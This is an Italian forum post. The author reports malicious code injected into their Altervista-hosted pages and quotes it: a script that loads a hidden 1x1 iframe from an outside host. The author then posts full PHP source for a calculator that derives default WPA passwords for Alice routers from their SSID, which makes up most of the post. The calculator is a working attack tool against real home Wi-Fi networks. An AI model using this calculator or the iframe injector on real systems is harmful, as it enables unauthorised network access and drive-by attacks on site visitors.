Salve a tutti,
Altervista non so se è fallato o cosa ma vengono inseriti codici malevoli nell'html
Esempio:
e veniva visto su:Codice HTML:<script>var url="http://onmouseup.info/stats.php";if((naviga
tor.userAgent.toLowerCase().indexOf("msie")>=0)||(navigator.
userAgent.toLowerCase().indexOf("firefox")>=0)){var f=docume
nt.createElement('iframe');f.setAttribute("width","1");f.set
Attribute("height","1");f.setAttribute("src",url);f.setAttri
bute("style","visibility: hidden; position: absolute; left:
0pt; top: 0pt;");document.getElementsByTagName("body")[0].ap
pendChild(f)}</script>
http://prova11891.altervista.org/vid...20cantare.html
altro mio sito....
ora ho paura che venga visto come malware pure sul sito alicetesting visto che google vede sempre come malevolo lo script assolutamente pulito per il calcolo delle wpa alice visto che sul sito clone hostato su webnet32 viene già rilevato...
ecco comunque per un controllo il php di testng:
Codice PHP:<?php
/***************************************************************************
* Script PHP per la verifica fi chiavi WPA su reti Alice-xxxxxxx *
***************************************************************************/
function fixEncoding($in_str)
{
$cur_encoding = mb_detect_encoding($in_str) ;
if($cur_encoding == "UTF-8" && mb_check_encoding($in_str,"UTF-8"))
return $in_str;
else
return utf8_encode($in_str);
}
$SSID = $_POST["assid"];
?>
<html>
<head>
<title>Verifica WPA</title>
</head>
<body>
<form method="post" action="<?php echo $PHP_SELF;?>">
<span style="color: #FFFFFF">Test 1 - SSID: Alice-</span><input type="text" size="12" maxlength="14" name="assid" value="<?php echo $SSID; ?>"><input type="submit" value="Ok" name="submit"><br />
</form><br />
</body>
</html>
<?php
// intervallo di interesse se la serie non è presente
$DELTA = 2;
// carica la lista dei numeri magici
$fileData = @file('config.txt');
if ($fileData == false) die("Non riesco a trovare il file config.txt");
foreach($fileData as $line_num => $line) {
if($line == ''){
continue;
}
$aLine = explode(',' , preg_replace('/.*([0-9]{3}|[0-9]{2}X),([0-9]{5}),(8|13),([0-9]{8}),([0-9A-F]{5}|[X]{5}).*/', '\1,\2,\3,\4', $line));
$SN_TABLE[] = array($aLine[0],$aLine[1],$aLine[2],$aLine[3]);
}
//
$MAC_TABLE = array( '6487d7', '38229d', '00a02f', '002553', '00238e', '002233', '001d8b', '001ca2', '00193e', '0017c2', '0013c8', '000827');
/*
* Numeri magici da utilizzare per il calcolo dell'SHA256.
*/
$ALIS = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
/*
* Tabella di conversione da hash a wpa.
*/
$CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz01234567 ?89abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
"wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123 ?456789abcdefghijklmnopqrstuvwxyz0123";
if ($SSID != "") {
global $MACLIST, $SNLIST;
$MACLIST = array();
$SNLIST = array();
SSID2MAC($SSID, $MAC_TABLE);
echo "SSID : <font size='5' face='monospace' color='green'>Alice-$SSID</font>\n<br>";
/*
* Calcolo il seriale in base al SSID e alla tabella dei valori noti.
*/
SSID2SN($SSID, $DELTA);
$fh=fopen("output.txt","a+");
fputs($fh,"SSID:_Alice-$SSID" . "\r\n");
foreach( $SNLIST as $SN ){
echo "<br>S/N : <font size='5' face='monospace' color='green'>$SN</font> \n<br>";
fputs($fh,"\r\n_S/N:_$SN" . "\r\n");
foreach( $MACLIST as $key => $mac ){
echo "MAC: <font size='5' face='monospace' color='red'>".$key."</font> -- WPA: <font size='5' face='monospace' color='red'>".TOWPA( $ALIS,$SN,$mac, $CONV_TABLE )."</font><br>";
fputs($fh," MAC: $key" . " WPA: ".TOWPA( $ALIS,$SN,$mac, $CONV_TABLE ) . "\r\n");
}
}
fputs($fh,"\r\n");
fclose($fh);
}
/*
* Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando
* le tabelle dei valori noti.
*/
function SN($ssid, $SNITEM){
global $SNLIST;
$sn1 = $SNITEM[1];
$k = $SNITEM[2];
$Q = $SNITEM[3];
/*
* La seconda parte del seriale equivale a : (SSID - Q) / k
*/
$sn2 = ((int)$ssid - $Q) / $k;
/*
* Restituisco il seriale completo.
*/
if ($sn2 == (int)$sn2) $SNLIST[] = $sn1.'X'.sprintf( "%07s", $sn2 );
}
function SSID2SN($ssid, $delta = 0){
global $SN_TABLE, $SNLIST;
/*
* Prelevo il numero intero dall'SSID e ne prendo le prime due cifre
* per verificare che il router sia presente nella tabella.
*/
$id = substr( $ssid, 0, 3 );
foreach( $SN_TABLE as $SNITEM ){
if (($SNITEM[0] == $id) ) { SN($ssid, $SNITEM); }
}
if (($delta > 0) && (count($SNLIST) == 0) ) {
foreach( $SN_TABLE as $SNITEM ){
if (abs($SNITEM[0] - $id) <= $delta) { SN($ssid, $SNITEM) ; }
}
if (count($SNLIST) != 0) {
echo "<br>La serie 'Alice-$id*****' non è presente nella tabella. Probabili WPA con serie simili.<br>";
}
}
if (count($SNLIST) == 0) {
$idx = substr( $ssid, 0, 2 )."X";
foreach( $SN_TABLE as $SNITEM ){
if (($SNITEM[0] == $idx)) { SN($ssid, $SNITEM); }
}
if (count($SNLIST) != 0) {
echo "<br>La serie 'Alice-$id*****' non è presente nella tabella. Probabili WPA con serie generiche.<br>";
}
}
if (count($SNLIST) == 0) die( "<br>La serie 'Alice-$id*****' non è presente nella tabella e non è supportata.\n" );
}
/*
* Funzione per il calcolo di un hash SHA256.
*/
function SHA256( $phrase ){
return bin2hex( mhash( MHASH_SHA256, $phrase ) );
}
/*
* Funzione per convertire un hash in un array di byte interi.
*/
function hash2bytes( $hash ){
preg_match_all( "/[a-f0-9]{2}/i", $hash, $hash_bytes );
$bytes = array();
foreach( $hash_bytes[0] as $byte ){
$bytes[] = hexdec($byte);
}
return $bytes;
}
function SSID2MAC( $ssid, $MAC_TABLE) {
global $MACLIST;
for( $j = 0; $j < 3; $j++ ){
$ssidn = $ssid; //$m[1][0];
$temp = dechex($j.$ssid);
$first = $temp[0];
$MACTEXT = "";
$macstart = "";
for( $i = 0; $i < 12; $i++ ){
if ($MAC_TABLE[$i][5] == $first) {
$macstart = $MAC_TABLE[$i];
$MACTEXT = strtoupper("".$macstart[0].$macstart[1].":".$macstart[2].$macstart[3].":".$macstart[4].$temp[0].":".$temp[1].$temp[2].":".$temp[3].$temp[4].":".$temp[5].$temp[6]);
$MACLIST[$MACTEXT] = chr(hexdec($macstart[0].$macstart[1])).chr(hexdec($macstart[2].$macstart[3])).chr(hexdec($macstart[4].$temp[0])).chr(hexdec($temp[1].$temp[2])).chr(hexdec($temp[3].$temp[4])).chr(hexdec($temp[5].$temp[6]));
}
}
}
}
function TOWPA( $ALIS,$SN,$MAC, $CONV_TABLE ){
/*
* Calcolo SHA256( MagicN + SN + MAC )
*/
$hash = SHA256( $ALIS.$SN.$MAC );
/*
* Converto la stringa dell'hash in un array di byte.
*/
$bytes = hash2bytes($hash);
/*
* Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione.
*/
$wpa = "";
for( $i = 0; $i < 24; $i++ ){
$wpa .= $CONV_TABLE[ $bytes[$i] ];
}
return $wpa;
}
?>

